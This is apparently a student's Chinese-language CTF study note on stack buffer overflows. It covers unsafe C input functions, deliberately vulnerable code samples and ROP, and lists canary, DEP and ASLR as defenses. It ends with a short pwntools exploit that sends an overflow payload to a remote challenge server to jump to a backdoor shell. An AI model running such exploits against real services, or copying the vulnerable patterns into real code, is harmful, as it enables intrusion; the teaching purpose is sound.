栈溢出(Stack overflow)
漏洞描述
栈溢出发生在程序向栈上写入数据时,未检查输入长度,导致数据覆盖了栈上的返回地址或其他关键数据
常见栈溢出函数
输入:
gets():直接读取一行,到换行符’\n’为止,同时’\n’被转换为’\x00’;
scanf(),格式化字符串中的%s不会检查长度;
vscanf():同上。
输出:
sprintf():将格式化后的内容写入缓冲区中,但是不检查缓冲区长度
字符串:
strcpy():遇到’\x00’停止,不会检查长度,经常容易出现单字节写0(off by one)溢出;
strcat():同上。
利用方法
- 覆盖返回地址
通过溢出覆盖函数的返回地址,跳转到恶意代码(如shellcode)或ROP链
void vulnerable(){
char buffer[64];
gets(buffer);//未检查输入长度
}
输入超过64字节的数据,覆盖返回地址
- 覆盖局部变量
通过溢出覆盖栈上的局部变量,改变程序逻辑
void vulnerable(){
int auth=0;
char buffrer[64];
gets(buffer);//未检查输入长度
if(auth==1){
system("/bin/sh");
}
}
输入数据覆盖auth变量,使其值变为1
- ROP(Return-Oriented Programming)
- 在DEP开启的情况下,通过覆盖返回地址跳转到已有的代码片段(gadgets),构造ROP链调用系统函数
eg.
使用pop rdi;retgadget设置rdi寄存器,调用system("/bin/sh")
防御机制
- 栈保护(Stack Canary)
- DEP(数据执行保护)
- ASLR(地址空间布局随机化)
例题
简单溢出
检查文件

使用ida打开文件


可以看到可以使用栈溢出覆盖原来的返回地址,让其跳转到后门函数进行获取权限
可以看到后门函数地址

exp如下:
from pwn import *
io=remote("1.95.36.136",2062)
#io=process("./hahaha")
elf=ELF("./hahaha")
padding=0x30+8
system_addr=0x400596
payload=b'a'*padding+p64(system_addr)
io.sendline(payload)
io.interactive()
可得结果!!

以上只是简单总结,我会在后面的学习中慢慢完善内容